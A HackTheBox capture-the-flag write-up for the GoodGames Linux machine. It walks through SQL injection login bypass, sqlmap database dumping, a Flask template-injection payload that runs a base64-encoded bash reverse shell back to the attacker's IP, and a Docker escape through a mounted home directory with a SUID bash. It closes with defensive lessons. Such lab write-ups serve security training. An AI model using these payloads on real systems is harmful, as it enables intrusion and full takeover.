HTB: GoodGames Writeup
GoodGames - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | GoodGames |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 24 January 2022 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
GoodGames is an Easy Linux machine that demonstrates critical web application vulnerabilities in a real-world gaming platform context. The machine showcases SQL injection flaws in authentication mechanisms, weak password hashing practices, and dangerous Server-Side Template Injection (SSTI) vulnerabilities in Flask applications. The final privilege escalation exploits Docker container misconfigurations combined with password reuse and SUID abuse to gain root access on the host system.
TL;DR: SQL injection bypass → crack admin hash → password reuse on internal Flask app → SSTI RCE → Docker escape via mounted home directory → SUID bash abuse → root shell.
Reconnaissance
Port Scanning
# Initial quick scannmap -p- --min-rate=1000 -T4 10.10.11.130
# Full service enumerationports=$(nmap -p- --min-rate=1000 -T4 10.10.11.130 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sV -sC -Pn 10.10.11.130Results:
- Port 80: Python 3.9.2 web application (HTTP)
Service Enumeration
Browsing to http://10.10.11.130 reveals a gaming-based website titled “GoodGames.” The footer discloses the domain goodgames.htb.
# Add to /etc/hostsecho "10.10.11.130 goodgames.htb" | sudo tee -a /etc/hostsThe login page is accessible at /login. Initial testing with basic SQL injection payloads (admin' or 1=1 -- -) indicates the login form is vulnerable but requires a valid email format.
Vulnerability Assessment
- SQL Injection in Login Form - Authentication bypass via email parameter
- Weak Password Hashing - Admin credentials stored with crackable hashes
- Password Reuse - Credentials reused across internal Flask application
- Server-Side Template Injection (SSTI) - User input reflected in Flask
render_template_string() - Docker Misconfiguration - Host directory mounted with read/write permissions in container
- SUID Binary Exploitation - BASH binary can be modified from within container
Initial Foothold
Exploitation Path: SQL Injection & Authentication Bypass
Step 1: Confirm SQL Injection
Open BurpSuite and capture the login request:
POST /login HTTP/1.1Host: goodgames.htbContent-Type: application/x-www-form-urlencoded
email=admin%40goodgames.htb&password=anythingModify the email parameter to bypass authentication:
email=admin' or 1=1 -- -&password=anythingThe response welcomes the admin user, confirming the vulnerability.
Step 2: Enumerate Database with SQLMap
Save the valid login request to goodgames.req:
# Enumerate available databasessqlmap -r goodgames.req --dbs
# List tables in the 'main' databasesqlmap -r goodgames.req -D main --tables
# Extract all user recordssqlmap -r goodgames.req -D main -T user --dumpOutput reveals:
- Admin username:
admin - Admin email:
admin@goodgames.htb - Password hash:
2b$12$..." (bcrypt, but weakly implemented)
Step 3: Crack Admin Password Hash
Using CrackStation or hashcat, the hash cracks to: superadministrator
Step 4: Access Internal Administration Panel
Authenticate as admin with the cracked credentials. The admin dashboard contains a settings cog that redirects to internal-administration.goodgames.htb.
# Update hosts filesudo sed -i 's/goodgames.htb/goodgames.htb internal-administration.goodgames.htb/g' /etc/hostsThe internal Flask dashboard uses the same credentials (password reuse):
- Username:
admin - Password:
superadministrator
SSTI Vulnerability Exploitation
Step 5: Detect SSTI
Navigate to the user settings page and modify the username field to test for template injection:
{{7*7}}The page responds with username set to 49, confirming SSTI is executable.
Step 6: Craft Reverse Shell Payload
Prepare a base64-encoded reverse shell:
# Create payloadPAYLOAD="bash -i >& /dev/tcp/10.10.14.25/4444 0>&1"echo -n "$PAYLOAD" | base64# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDQ0IDA+JjE=
# Start local listenernc -lvvp 4444Step 7: Inject SSTI Payload
Submit the following in the username field of the settings form:
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDQ0IDA+JjE=${IFS}|base64${IFS}-d|bash').read()}}This executes the base64-decoded reverse shell, providing access to the container.
Step 8: Capture User Flag
# Within the shellcd /home/augustuscat user.txt# Flag: <redacted>Privilege Escalation
Docker Escape & Host Privilege Escalation
Step 1: Identify Docker Environment
# Verify we're in a containerls -la /home/augustus
# Notice UID 1000 instead of username - indicates mounted directorymount | grep augustus# Output shows: /home/augustus mounted from host with rw privilegesStep 2: Discover Host IP
# Find container IPip addr show# Container IP: 172.19.0.2
# Docker assigns first address to host gateway# Host IP is likely: 172.19.0.1Step 3: Port Scan Host
# Scan host ports (nmap unavailable)for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && \ echo "port $PORT is open"done
# Results: SSH (port 22) open on hostStep 4: Attempt Password Reuse
# From within container, SSH to host as augustusssh augustus@172.19.0.1# Password: superadministrator (reused from web application)
# Successfully authenticated as augustus on hostStep 5: Exploit Mounted Directory + SUID
From the host as augustus, copy bash to home directory:
cp /bin/bash ./bashexit # Exit SSH session back to containerFrom within the container as root, modify permissions:
# Now in docker container as rootcd /home/augustuschown root:root bashchmod 4755 bash # Set SUID bitStep 6: Escalate to Root on Host
SSH back to host as augustus:
ssh augustus@172.19.0.1# Password: superadministrator
# Verify SUID permissionsls -la bash# -rwsr-xr-x 1 root root ...
# Execute SUID bash with effective root privileges./bash -p
# Verify root accessid# uid=0(root) euid=0(root) gid=1000(augustus) egid=1000(augustus)
# Capture root flagcat /root/root.txt# Flag: <redacted>Attack Chain Summary
SQL Injection (Email: admin' or 1=1 -- -) ↓SQLMap Database Enumeration ↓Extract Admin Hash (bcrypt) ↓Hash Cracking → superadministrator ↓Admin Authentication on goodgames.htb ↓Internal Admin Panel Access (internal-administration.goodgames.htb) ↓Password Reuse Login (admin/superadministrator) ↓SSTI Detection ({{7*7}} → 49) ↓SSTI Reverse Shell Injection ↓Container Shell Access ↓Port Scan: Identify SSH on 172.19.0.1 ↓SSH to Host via Password Reuse ↓SUID Bash Creation (Container Root → Host via Mounted /home) ↓SUID Bash Execution → Root Shell ↓Root Access AchievedTools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service detection |
BurpSuite | HTTP request interception and manipulation |
sqlmap | SQL injection detection and database enumeration |
CrackStation | Hash cracking (bcrypt verification) |
nc (netcat) | Reverse shell listener |
bash | Port scanning and command execution |
ssh | Lateral movement to host system |
Key Learnings
Techniques Practiced
- Union-based and boolean-based SQL injection exploitation
- Weak cryptographic hash cracking (bcrypt with poor configuration)
- Server-Side Template Injection (SSTI) in Python Flask applications
- Reverse shell payload encoding (base64) and delivery
- Docker container environment detection
- Host-container lateral movement via SSH
- SUID binary abuse for privilege escalation
- Mounted filesystem exploitation in containers
Lessons Learned
-
SQL Injection Prevention: Use parameterized queries and prepared statements exclusively. Never concatenate user input into SQL queries.
-
Password Security: Implement strong hashing algorithms (bcrypt with proper salt rounds, scrypt, or argon2). Ensure password policies enforce complexity and length.
-
Credential Hygiene: Never reuse credentials across multiple applications or systems. Use unique, complex passwords for each service.
-
Template Injection Prevention: Avoid
render_template_string()with user-controlled input. Userender_template()with safe template files instead. Disable Jinja2 dangerous features when possible. -
Docker Security: Avoid mounting host directories into containers unless absolutely necessary. When mounting is required, use read-only (
ro) flags. Restrict root privileges within containers. -
File Permissions: Regular audits of SUID/SGID binaries on systems. Remove unnecessary SUID bits and monitor for unauthorized modifications.
-
Network Segmentation: Isolate container networks from host networks. Use firewall rules to prevent internal host-container communication where not explicitly required.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>